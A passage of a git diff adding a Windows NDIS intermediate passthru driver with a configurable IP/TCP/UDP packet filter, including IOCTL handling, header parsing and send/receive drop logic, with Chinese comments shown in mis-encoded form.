NdisMoveMemory(&pNew->filter, pFilter, sizeof(PassthruFilter)); + + // Á¬½Óµ½¹ýÂËÁбíÖÐ + pNew->pNext = pFilterContext->pFilterList; + pFilterContext->pFilterList = pNew; + + return STATUS_SUCCESS; +} + +// ɾ³ýÊÊÅäÆ÷¹ýÂËÁбíÖеĹæÔò +void ClearFilterList(PADAPT_FILTER_RSVD pFilterContext) +{ + PPassthruFilterList pList = pFilterContext->pFilterList; + PPassthruFilterList pNext; + // ÊͷŹýÂËÁбíÕ¼ÓõÄÄÚ´æ + while(pList != NULL) + { + pNext = pList->pNext; + + NdisFreeMemory(pList, 0, 0); + pList = pNext; + } + pFilterContext->pFilterList = NULL; +} + + + + + +// ¶ÔÄÇЩ²»ÄÜʶ±ðµÄIOCTL£¬PassThru´ÓÖ÷ÒªµÄDevIoControlÀý³Ìµ÷ÓôËÀý³Ì + +NTSTATUS FltDevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + ULONG uTransLen = 0; + + PADAPT pAdapt = NULL; + PADAPT_FILTER_RSVD pFilterContext = NULL; + POPEN_CONTEXT pOpenContext = pIrpStack->FileObject->FsContext; + + if(pOpenContext == NULL || (pAdapt = pOpenContext->pAdapt) == NULL) + { + status = STATUS_INVALID_HANDLE; + goto CompleteTheIRP; + } + + pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + + + // + // Fail IOCTL If Unbind Is In Progress Fail IOCTL If Adapter Is Powering Down + // + NdisAcquireSpinLock(&pAdapt->Lock); + + if( pAdapt->UnbindingInProcess || pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + + status = STATUS_INVALID_DEVICE_STATE; + goto CompleteTheIRP; + } + + // µ±¸Ä±äÊý¾Ýʱ,ÒªÓµÓÐSpinLock + + // ×îºó,´¦ÀíIO¿ØÖÆ´úÂë + switch(uIoControlCode) + { + case IOCTL_PTUSERIO_QUERY_STATISTICS: // »ñÈ¡ÍøÂç»î¶¯×´Ì¬ + { + uTransLen = sizeof(PassthruStatistics); + if(uOutSize < uTransLen) + { + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + NdisMoveMemory(pIoBuffer, &pFilterContext->Statistics, uTransLen); + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_RESET_STATISTICS: // ÖØÉèÍøÂç»î¶¯×´Ì¬ + { + NdisZeroMemory(&pFilterContext->Statistics, sizeof(PassthruStatistics)); + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_ADD_FILTER: // Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò + { + if(uInSize >= sizeof(PassthruFilter)) + { + DBGPRINT((" Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò")); + status = AddFilterToAdapter(pFilterContext, (PPassthruFilter)pIoBuffer); + } + else + { + status = STATUS_INVALID_DEVICE_REQUEST; + } + } + break; + case IOCTL_PTUSERIO_CLEAR_FILTER: // Çå³ý¹ýÂ˹æÔò + { + DBGPRINT((" Çå³ý¹ýÂ˹æÔò")); + ClearFilterList(pFilterContext); + status = STATUS_SUCCESS; + } + break; + } + + NdisReleaseSpinLock(&pAdapt->Lock); + +CompleteTheIRP: + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +//////////////////////////////////////////////////// +// ¶ÁÈ¡·â°üÖеÄÊý¾Ý +void FltReadPacketData(PNDIS_PACKET pPacket, + PUCHAR lpBufferIn, ULONG nNumberToRead, PUINT lpNumberOfRead) +{ + PUCHAR pBuf; + ULONG nBufferSize; + PNDIS_BUFFER pBufferDes = NULL; + + + // ¼ì²é²ÎÊý + if(pPacket == NULL || lpBufferIn == NULL || nNumberToRead == 0) + { + if(lpNumberOfRead != NULL) + { + *lpNumberOfRead = 0; + return ; + } + } + + // ÉèÖ÷µ»ØÊý¾Ý + *lpNumberOfRead = 0; + + + // ±éÀú·â°üÖеĻº³åÇøÃèÊö±í,½«Êý¾Ý¸´ÖƵ½Óû§»º³åÇø + pBufferDes = pPacket->Private.Head; + while(pBufferDes != pPacket->Private.Tail && pBufferDes != NULL) + { + // »ñÈ¡´Ë»º³åÇøÃèÊö±íµÄ»º³åÇøÐÅÏ¢ + NdisQueryBufferSafe(pBufferDes, &pBuf, &nBufferSize, NormalPagePriority); + if(pBuf == NULL) + return; + + if(nNumberToRead > nBufferSize) // ¸´ÖÆÕû¸ö»º³åÇø + { + NdisMoveMemory(lpBufferIn + *lpNumberOfRead, pBuf, nBufferSize); + nNumberToRead -= nBufferSize; + *lpNumberOfRead += nBufferSize; + } + else // ½ö¸´ÖÆʣϵIJ¿·Ö + { + NdisMoveMemory(lpBufferIn + *lpNumberOfRead, pBuf, nNumberToRead); + *lpNumberOfRead += nNumberToRead; + return; + } + // ÏÂÒ»¸ö»º³åÇøÃèÊö±í + pBufferDes = pBufferDes->Next; + } +} + +///////////////////////////////////////////// +// ¼ì²é¹ýÂ˹æÔò +BOOLEAN FltCheckFilterRules(PPassthruFilterList pFilterList, PUCHAR pPacketData, ULONG nDataLen, BOOLEAN bIncludeETHdr) +{ + int nLeavingLen = nDataLen; + + PETHeader pEtherHdr; + PIPHeader pIpHdr; + PTCPHeader pTcpHdr; + PUDPHeader pUdpHdr; + + + + // ´Ó»º³åÇøÖÐÝÍÈ¡³öIPÍ· + // Èç¹û°üº¬ÒÔÌ«Í·£¬¾ÍÒªÏȼì²éÒÔÌ«Í· + if(bIncludeETHdr) + { + if(nLeavingLen < sizeof(ETHeader)) + { + return TRUE; + } + nLeavingLen -= sizeof(ETHeader); + + pEtherHdr = (PETHeader)pPacketData; + + if(pEtherHdr->type != 0x8) // Èç¹û²»ÊÇIPЭÒ飬Ôò²»´¦Àí + return TRUE; + + pIpHdr = (PIPHeader)(pEtherHdr + 1); + } + else + { + pIpHdr = (PIPHeader)pPacketData; + } + + // Ñé֤ʣÓàÊý¾Ý³¤¶È£¬·ÀÖ¹·¢ÉúÄں˷Ƿ¨·ÃÎÊ + if(nLeavingLen < sizeof(IPHeader)) + return TRUE; + nLeavingLen -= sizeof(IPHeader); + + + // ¼ì²é°æ±¾ÐÅÏ¢£¬ÎÒÃǽö´¦ÀíIPv4 + if(((pIpHdr->iphVerLen >> 4) & 0x0f) == 6) + { + return TRUE; + } + + if(pIpHdr->ipProtocol == 6 && nLeavingLen >= sizeof(TCPHeader)) // ÊÇTCPЭÒ飿 + { + // ÌáÈ¡TCPÍ· + pTcpHdr = (PTCPHeader)(pIpHdr + 1); + // ÎÒÃǽÓÊÜËùÓÐÒѾ­½¨Á¢Á¬½ÓµÄTCP·â°ü + if(!(pTcpHdr->flags & 0x02)) + { + return TRUE; + } + } + + // Óë¹ýÂ˹æÔò±È½Ï£¬¾ö¶¨²ÉÈ¡µÄÐж¯ + while(pFilterList != NULL) + { + // ²é¿´·â°üʹÓõÄЭÒéÊÇ·ñºÍ¹ýÂ˹æÔòÏàͬ + if(pFilterList->filter.protocol == 0 || pFilterList->filter.protocol == pIpHdr->ipProtocol) + { + // Èç¹ûЭÒéÏàͬ£¬Ôٲ鿴ԴIPµØÖ· + if(pFilterList->filter.sourceIP != 0 && + pFilterList->filter.sourceIP != (pFilterList->filter.sourceMask & pIpHdr->ipSource)) + { + pFilterList = pFilterList->pNext; + continue; + } + + // Ôٲ鿴ĿµÄIPµØÖ· + if(pFilterList->filter.destinationIP != 0 && + pFilterList->filter.destinationIP != (pFilterList->filter.destinationMask & pIpHdr->ipDestination)) + { + pFilterList = pFilterList->pNext; + continue; + } + + // Èç¹ûÊÇTCP·â°ü£¬½Ó×Ų鿴TCP¶Ë¿ÚºÅ + if(pIpHdr->ipProtocol == 6) + { + if(nLeavingLen < 4) + { + return TRUE; + } + pTcpHdr = (PTCPHeader)(pIpHdr + 1); + // Èç¹ûÔ´¶Ë¿ÚºÅºÍÄ¿µÄ¶Ë¿ÚºÅ¶¼Óë¹æÔòÖеÄÒ»Ñù£¬Ôò°´ÕÕ¹æÔòµÄ¼Ç¼´¦ÀíÕâ¸ö·â°ü + if(pFilterList->filter.sourcePort == 0 || pFilterList->filter.sourcePort == pTcpHdr->sourcePort) + { + if(pFilterList->filter.destinationPort == 0 || + pFilterList->filter.destinationPort == pTcpHdr->destinationPort) + { + DBGPRINT((" °´ÕÕ¹æÔò´¦ÀíÒ»¸öTCP·â°ü \n ")); + return !pFilterList->filter.bDrop; + } + } + + } + // Èç¹ûÊÇUDP·â°ü£¬½Ó×Ų鿴UDP¶Ë¿ÚºÅ + else if(pIpHdr->ipProtocol == 17) + { + if(nLeavingLen < 4) + { + return !pFilterList->filter.bDrop; + } + pUdpHdr = (PUDPHeader)(pIpHdr + 1); + if(pFilterList->filter.sourcePort == 0 || + pFilterList->filter.sourcePort == pUdpHdr->sourcePort) + { + if(pFilterList->filter.destinationPort == 0 || + pFilterList->filter.destinationPort == pUdpHdr->destinationPort) + { + DBGPRINT((" °´ÕÕ¹æÔò´¦ÀíÒ»¸öUDP·â°ü \n ")); + return !pFilterList->filter.bDrop; + } + } + } + else + { + // ¶ÔÓÚÆäËü·â°ü£¬ÎÒÃÇÖ±½Ó´¦Àí + return !pFilterList->filter.bDrop; + } + } + // ±È½ÏÏÂÒ»¸ö·â°ü + pFilterList = pFilterList->pNext; + } + + + // ĬÈÏÇé¿öϽÓÊÕËùÓзâ°ü + return TRUE; +} + + + +// ¹ýÂËÏòÍâ·¢Ë͵ÄÊý¾Ý£¬´ÓMPSendPackets»òÕßMPSendº¯Êýµ÷Óà +// Èç¹û´ÓMPSendPacketsµ÷ÓþÍÔËÐÐÔÚIRQL <= DISPATCH_LEVEL¼¶±ð +// Èç¹û´ÓMPSendµ÷Ó㬾ÍÔËÐÐÔÚIRQL == DISPATCH_LEVEL¼¶±ð +BOOLEAN FltFilterSendPacket( + IN PADAPT pAdapt, + IN PNDIS_PACKET pSendPacket, + IN BOOLEAN bDispatchLevel // TRUE -> IRQL == DISPATCH_LEVEL + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + UCHAR buffer[MAX_PACKET_HEADER_LEN]; + ULONG nReadBytes; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + if(bDispatchLevel) + { + NdisDprAcquireSpinLock(&pAdapt->Lock); + } + else + { + NdisAcquireSpinLock(&pAdapt->Lock); + } + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nMPSendPktsCt ++; + + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + //////////////////////////////////////////////////// + // ¶ÁÈ¡·â°üÖеÄÊý¾Ý£¬ÕâÀï½ö¶ÁÈ¡·â°üÍ·¼´¿É + FltReadPacketData(pSendPacket, buffer, MAX_PACKET_HEADER_LEN, &nReadBytes); + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList, buffer, nReadBytes, TRUE); + + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nMPSendPktsDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + if(bDispatchLevel) + NdisDprReleaseSpinLock(&pAdapt->Lock); + else + NdisReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + + + +// ¹ýÂ˽ÓÊÕµ½µÄÊý¾Ý,´ÓPtReceivePacketº¯Êýµ÷Óã¬ÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð +BOOLEAN FltFilterReceivePacket( + IN PADAPT pAdapt, + IN PNDIS_PACKET pReceivedPacket + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + UCHAR buffer[MAX_PACKET_HEADER_LEN]; + ULONG nReadBytes; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + NdisDprAcquireSpinLock(&pAdapt->Lock); + + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nPTRcvPktCt ++; + + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + //////////////////////////////////////////////////// + // ¶ÁÈ¡·â°üÖеÄÊý¾Ý£¬ÕâÀï½ö¶ÁÈ¡·â°üÍ·¼´¿É + FltReadPacketData(pReceivedPacket, buffer, MAX_PACKET_HEADER_LEN, &nReadBytes); + if(nReadBytes != MAX_PACKET_HEADER_LEN) + { + DBGPRINT((" FltFilterReceivePacket: nReadBytes != MAX_PACKET_HEADER_LEN")); + } + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList,buffer, nReadBytes, TRUE); + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nPTRcvPktDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + NdisDprReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + +// ¹ýÂ˽ÓÊÕµ½µÄÊý¾Ý,´ÓPtReceivePacketº¯Êýµ÷Óã¬ÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð +BOOLEAN FltFilterReceive( + IN PADAPT pAdapt, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + PETHeader pEtherHdr = (PETHeader)HeaderBuffer; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + NdisDprAcquireSpinLock(&pAdapt->Lock); + + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nPTRcvCt ++; + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + // Èç¹û²»ÊÇIPЭÒ飬Ôò·ÅÐÐ + if(pEtherHdr->type != 0x8) + goto ExitTheFilter; + + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList,LookAheadBuffer, LookAheadBufferSize, FALSE); + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nPTRcvDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + NdisDprReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + + + + diff --git a/Project/Network and Communication/Phoenix/sys/filter.h b/Project/Network and Communication/Phoenix/sys/filter.h new file mode 100644 index 0000000..df26ee9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/filter.h @@ -0,0 +1,68 @@ +/////////////////////////////////////////////////////////// +// filter.hÎļþ + +#ifndef __FILTER__H +#define __FILTER__H + + + +#define MAX_PACKET_HEADER_LEN 100 + +/* + +Mac 14 ip 20 tcp 20 = 54 + +*/ + +////////////////////////////////////////////////////////// +// ½á¹¹ + +// ״̬ÐÅÏ¢ + +typedef struct _ADAPT_FILTER_RSVD ADAPT_FILTER_RSVD, *PADAPT_FILTER_RSVD; + +typedef struct _PassthruFilterList PassthruFilterList, *PPassthruFilterList; + +void ClearFilterList(PADAPT_FILTER_RSVD pFilterContext); +VOID FltOnDeinitAdapter(PADAPT pAdapt); + +VOID FltOnInitAdapter(PADAPT pAdapt); + +BOOLEAN FltFilterSendPacket(PADAPT pAdapt,PNDIS_PACKET pSendPacket,BOOLEAN bDispatchLevel); + +void FltReadPacketData(PNDIS_PACKET pPacket, + PUCHAR lpBufferIn, ULONG nNumberToRead, PUINT lpNumberOfRead); + +BOOLEAN FltCheckFilterRules(PPassthruFilterList pFilterList, PUCHAR pPacketData, ULONG nDataLen, BOOLEAN bIncludeETHdr); + +BOOLEAN FltFilterReceive( + IN PADAPT pAdapt, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ); + +BOOLEAN FltFilterReceivePacket(PADAPT pAdapt,PNDIS_PACKET pReceivedPacket); + +BOOLEAN FltFilterSendPacket(PADAPT pAdapt,PNDIS_PACKET pSendPacket,BOOLEAN bDispatchLevel); + + + + + + + + + + + + + + + + + +#endif // __FILTER__H \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/sys/makefile b/Project/Network and Communication/Phoenix/sys/makefile new file mode 100644 index 0000000..fbc33da --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/makefile @@ -0,0 +1,9 @@ +# +# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source +# file to this component. This file merely indirects to the real make file +# that is shared by all the components of NT +# +!INCLUDE $(NTMAKEENV)\makefile.def + + + diff --git a/Project/Network and Communication/Phoenix/sys/miniport.c b/Project/Network and Communication/Phoenix/sys/miniport.c new file mode 100644 index 0000000..225d5c3 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/miniport.c @@ -0,0 +1,1480 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + miniport.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + +#include "precomp.h" +#pragma hdrstop + + + +NDIS_STATUS +MPInitialize( + OUT PNDIS_STATUS OpenErrorStatus, + OUT PUINT SelectedMediumIndex, + IN PNDIS_MEDIUM MediumArray, + IN UINT MediumArraySize, + IN NDIS_HANDLE MiniportAdapterHandle, + IN NDIS_HANDLE WrapperConfigurationContext + ) +/*++ + +Routine Description: + + This is the initialize handler which gets called as a result of + the BindAdapter handler calling NdisIMInitializeDeviceInstanceEx. + The context parameter which we pass there is the adapter structure + which we retrieve here. + + Arguments: + + OpenErrorStatus Not used by us. + SelectedMediumIndex Place-holder for what media we are using + MediumArray Array of ndis media passed down to us to pick from + MediumArraySize Size of the array + MiniportAdapterHandle The handle NDIS uses to refer to us + WrapperConfigurationContext For use by NdisOpenConfiguration + +Return Value: + + NDIS_STATUS_SUCCESS unless something goes wrong + +--*/ +{ + UINT i; + PADAPT pAdapt; + NDIS_STATUS Status = NDIS_STATUS_FAILURE; + NDIS_MEDIUM Medium; + + UNREFERENCED_PARAMETER(WrapperConfigurationContext); + + do + { + // + // Start off by retrieving our adapter context and storing + // the Miniport handle in it. + // + pAdapt = NdisIMGetDeviceContext(MiniportAdapterHandle); + pAdapt->MiniportHandle = MiniportAdapterHandle; + + DBGPRINT(("==> Miniport Initialize: Adapt %p\n", pAdapt)); + + // + // Usually we export the medium type of the adapter below as our + // virtual miniport's medium type. However if the adapter below us + // is a WAN device, then we claim to be of medium type 802.3. + // + Medium = pAdapt->Medium; + + if (Medium == NdisMediumWan) + { + Medium = NdisMedium802_3; + } + + for (i = 0; i < MediumArraySize; i++) + { + if (MediumArray[i] == Medium) + { + *SelectedMediumIndex = i; + break; + } + } + + if (i == MediumArraySize) + { + Status = NDIS_STATUS_UNSUPPORTED_MEDIA; + break; + } + + + // + // Set the attributes now. NDIS_ATTRIBUTE_DESERIALIZE enables us + // to make up-calls to NDIS without having to call NdisIMSwitchToMiniport + // or NdisIMQueueCallBack. This also forces us to protect our data using + // spinlocks where appropriate. Also in this case NDIS does not queue + // packets on our behalf. Since this is a very simple pass-thru + // miniport, we do not have a need to protect anything. However in + // a general case there will be a need to use per-adapter spin-locks + // for the packet queues at the very least. + // + NdisMSetAttributesEx(MiniportAdapterHandle, + pAdapt, + 0, // CheckForHangTimeInSeconds + NDIS_ATTRIBUTE_IGNORE_PACKET_TIMEOUT | + NDIS_ATTRIBUTE_IGNORE_REQUEST_TIMEOUT| + NDIS_ATTRIBUTE_INTERMEDIATE_DRIVER | + NDIS_ATTRIBUTE_DESERIALIZE | + NDIS_ATTRIBUTE_NO_HALT_ON_SUSPEND, + 0); + + // + // Initialize LastIndicatedStatus to be NDIS_STATUS_MEDIA_CONNECT + // + pAdapt->LastIndicatedStatus = NDIS_STATUS_MEDIA_CONNECT; + + // + // Initialize the power states for both the lower binding (PTDeviceState) + // and our miniport edge to Powered On. + // + pAdapt->MPDeviceState = NdisDeviceStateD0; + pAdapt->PTDeviceState = NdisDeviceStateD0; + + // + // Add this adapter to the global pAdapt List + // + NdisAcquireSpinLock(&GlobalLock); + + pAdapt->Next = pAdaptList; + pAdaptList = pAdapt; + + NdisReleaseSpinLock(&GlobalLock); + + // + // Create an ioctl interface + // + (VOID)PtRegisterDevice(); + + Status = NDIS_STATUS_SUCCESS; + } + while (FALSE); + + // + // If we had received an UnbindAdapter notification on the underlying + // adapter, we would have blocked that thread waiting for the IM Init + // process to complete. Wake up any such thread. + // + ASSERT(pAdapt->MiniportInitPending == TRUE); + pAdapt->MiniportInitPending = FALSE; + NdisSetEvent(&pAdapt->MiniportInitEvent); + + DBGPRINT(("<== Miniport Initialize: Adapt %p, Status %x\n", pAdapt, Status)); + + *OpenErrorStatus = Status; + + return Status; +} + + +NDIS_STATUS +MPSend( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet, + IN UINT Flags + ) +/*++ + +Routine Description: + + Send Packet handler. Either this or our SendPackets (array) handler is called + based on which one is enabled in our Miniport Characteristics. + +Arguments: + + MiniportAdapterContext Pointer to the adapter + Packet Packet to send + Flags Unused, passed down below + +Return Value: + + Return code from NdisSend + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + PNDIS_PACKET MyPacket; + PVOID MediaSpecificInfo = NULL; + ULONG MediaSpecificInfoSize = 0; + + // + // The driver should fail the send if the virtual miniport is in low + // power state + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + return NDIS_STATUS_FAILURE; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂË·¢ËÍ·â°üµÄº¯Êý£¬µ÷ÓÃÕßÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð + // + if(!FltFilterSendPacket(pAdapt,Packet,TRUE)) + { + // + // Èç¹û¾Ü¾øµÄ»°£¬¾ÍÆÛÆ­Éϲ㣬˵ÒѾ­·¢Ëͳɹ¦ÁË£¨ËäÈ»²¢Ã»ÓÐÕæÕýµØ·¢ËÍ£© + // + return NDIS_STATUS_SUCCESS; + } +// END_PTEX_FILTER + +#ifdef NDIS51 + // + // Use NDIS 5.1 packet stacking: + // + { + PNDIS_PACKET_STACK pStack; + BOOLEAN Remaining; + + // + // Packet stacks: Check if we can use the same packet for sending down. + // + + pStack = NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". + // + // NOTE: if we needed to keep per-packet information in packets + // sent down, we can use pStack->IMReserved[]. + // + ASSERT(pStack); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + return NDIS_STATUS_FAILURE; + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + NdisSend(&Status, + pAdapt->BindingHandle, + Packet); + + if (Status != NDIS_STATUS_PENDING) + { + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + + return(Status); + } + } +#endif // NDIS51 + + // + // We are either not using packet stacks, or there isn't stack space + // in the original packet passed down to us. Allocate a new packet + // to wrap the data with. + // + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + return NDIS_STATUS_FAILURE; + + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisAllocatePacket(&Status, + &MyPacket, + pAdapt->SendPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PSEND_RSVD SendRsvd; + + // + // Save a pointer to the original packet in our reserved + // area in the new packet. This is needed so that we can + // get back to the original packet when the new packet's send + // is completed. + // + SendRsvd = (PSEND_RSVD)(MyPacket->ProtocolReserved); + SendRsvd->OriginalPkt = Packet; + + MyPacket->Private.Flags = Flags; + + // + // Set up the new packet so that it describes the same + // data as the original packet. + // + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; +#ifdef WIN9X + // + // Work around the fact that NDIS does not initialize this + // to FALSE on Win9x. + // + MyPacket->Private.ValidCounts = FALSE; +#endif + + // + // Copy the OOB Offset from the original packet to the new + // packet. + // + NdisMoveMemory(NDIS_OOB_DATA_FROM_PACKET(MyPacket), + NDIS_OOB_DATA_FROM_PACKET(Packet), + sizeof(NDIS_PACKET_OOB_DATA)); + +#ifndef WIN9X + // + // Copy the right parts of per packet info into the new packet. + // This API is not available on Win9x since task offload is + // not supported on that platform. + // + NdisIMCopySendPerPacketInfo(MyPacket, Packet); +#endif + + // + // Copy the Media specific information + // + NDIS_GET_PACKET_MEDIA_SPECIFIC_INFO(Packet, + &MediaSpecificInfo, + &MediaSpecificInfoSize); + + if (MediaSpecificInfo || MediaSpecificInfoSize) + { + NDIS_SET_PACKET_MEDIA_SPECIFIC_INFO(MyPacket, + MediaSpecificInfo, + MediaSpecificInfoSize); + } + + NdisSend(&Status, + pAdapt->BindingHandle, + MyPacket); + + + if (Status != NDIS_STATUS_PENDING) + { +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Packet, MyPacket); +#endif + NdisFreePacket(MyPacket); + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + else + { + ADAPT_DECR_PENDING_SENDS(pAdapt); + // + // We are out of packets. Silently drop it. Alternatively we can deal with it: + // - By keeping separate send and receive pools + // - Dynamically allocate more pools as needed and free them when not needed + // + } + + return(Status); +} + + +VOID +MPSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PPNDIS_PACKET PacketArray, + IN UINT NumberOfPackets + ) +/*++ + +Routine Description: + + Send Packet Array handler. Either this or our SendPacket handler is called + based on which one is enabled in our Miniport Characteristics. + +Arguments: + + MiniportAdapterContext Pointer to our adapter + PacketArray Set of packets to send + NumberOfPackets Self-explanatory + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + UINT i; + PVOID MediaSpecificInfo = NULL; + UINT MediaSpecificInfoSize = 0; + + + for (i = 0; i < NumberOfPackets; i++) + { + PNDIS_PACKET Packet, MyPacket; + + Packet = PacketArray[i]; + // + // The driver should fail the send if the virtual miniport is in low + // power state + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_FAILURE); + continue; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂË·¢ËÍ·â°üµÄº¯Êý£¬µ÷ÓÃÕßÔËÐÐÔÚIRQL <= DISPATCH_LEVEL¼¶±ð + // + if(!FltFilterSendPacket(pAdapt,Packet,FALSE)) + { + // + // Èç¹û¾Ü¾øµÄ»°£¬¾ÍÆÛÆ­Éϲ㣬˵ÒѾ­·¢Ëͳɹ¦ÁË£¨ËäÈ»²¢Ã»ÓÐÕæÕýµØ·¢ËÍ£© + // + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_SUCCESS); + + continue; + } +// END_PTEX_FILTER + +#ifdef NDIS51 + + // + // Use NDIS 5.1 packet stacking: + // + { + PNDIS_PACKET_STACK pStack; + BOOLEAN Remaining; + + // + // Packet stacks: Check if we can use the same packet for sending down. + // + pStack = NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". + // + // NOTE: if we needed to keep per-packet information in packets + // sent down, we can use pStack->IMReserved[]. + // + ASSERT(pStack); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); 